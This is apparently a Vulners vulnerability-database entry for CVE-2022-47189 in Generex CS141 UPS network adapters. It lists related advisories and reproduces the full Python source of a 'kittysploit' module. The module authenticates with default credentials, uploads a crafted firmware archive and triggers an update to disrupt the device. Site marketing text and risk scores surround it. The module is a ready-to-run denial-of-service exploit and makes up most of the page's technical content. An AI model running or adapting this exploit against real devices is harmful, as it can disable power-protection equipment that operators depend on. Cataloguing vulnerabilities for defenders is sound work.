Generex CS141 CVE-2022-47189 - DoS via Firmware Upload
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2022-47189 | 6 Mar 202318:07 | – | circl | |
| Generex UPS Adapter CS141 安全漏洞 | 31 Mar 202300:00 | – | cnnvd | |
| CVE-2022-47189 | 31 Mar 202300:00 | – | cve | |
| CVE-2022-47189 DoS via file upload vulnerability at Generex CS141 | 31 Mar 202300:00 | – | cvelist | |
| EUVD-2022-49964 | 3 Oct 202520:07 | – | euvd | |
| Thunderstorm - Modular Framework To Exploit UPS Devices | 6 Mar 202311:30 | – | kitploit | |
| Thunderstorm | 15 Oct 202617:59 | – | kitploit | |
| CVE-2022-47189 | 31 Mar 202322:15 | – | nvd | |
| CVE-2022-47189 | 31 Mar 202322:15 | – | osv | |
| Design/Logic Flaw | 31 Mar 202322:15 | – | prion |
10
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.cs141 import CS141
class Module(Auxiliary, Http_client, CS141):
__info__ = {
"name": "Generex CS141 CVE-2022-47189 - DoS via Firmware Upload",
"description": (
"Generex UPS CS141 below 2.06 accepts a crafted firmware archive that can disrupt the "
"device functionality after the update process."
),
"author": ["JoelGMSec", "KittySploit Team"],
"cve": "CVE-2022-47189",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2022-47189",
"https://www.incibe-cert.es/en/early-warning/ics-advisories/update-03032023-multiple-vulnerabilities-generex-ups-cs141",
],
"tags": ["cs141", "firmware", "dos"],
}
username = OptString("admin", "CS141 username", required=True)
password = OptString("cs141-snmp", "CS141 password", required=True)
firmware_path = OptString("", "Local path to the crafted firmware archive", required=True)
wait_seconds = OptInteger(30, "Seconds to wait after triggering the update", required=False)
def check(self):
auth_ctx = self.cs141_get_auth_context(self.username, self.password, True)
if auth_ctx and (auth_ctx.get("ok") or auth_ctx.get("used_default_credentials")):
return {"vulnerable": True, "reason": "Authenticated firmware workflow is reachable", "confidence": "medium"}
return {"vulnerable": False, "reason": "Authentication failed", "confidence": "low"}
def run(self):
auth_ctx = self.cs141_get_auth_context(self.username, self.password, True)
if not auth_ctx:
print_error("Authentication failed")
return False
try:
firmware_bytes = open(self.firmware_path, "rb").read()
except Exception as e:
print_error(f"Unable to read firmware file: {e}")
return False
response = self.cs141_upload_firmware(firmware_bytes, auth_ctx)
if not response or not getattr(response, "ok", False):
print_error("Firmware upload failed")
return False
self.cs141_trigger_update(auth_ctx)
print_success("Firmware archive uploaded and update trigger requested")
print_warning(f"Waiting {self.wait_seconds} second(s); device functionality may be disrupted afterward")
time.sleep(int(self.wait_seconds))
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Apr 2026 09:19Current
8.4High risk
Vulners AI Score8.4
CVSS 3.17.5 - 9.1
EPSS0.00853
SSVC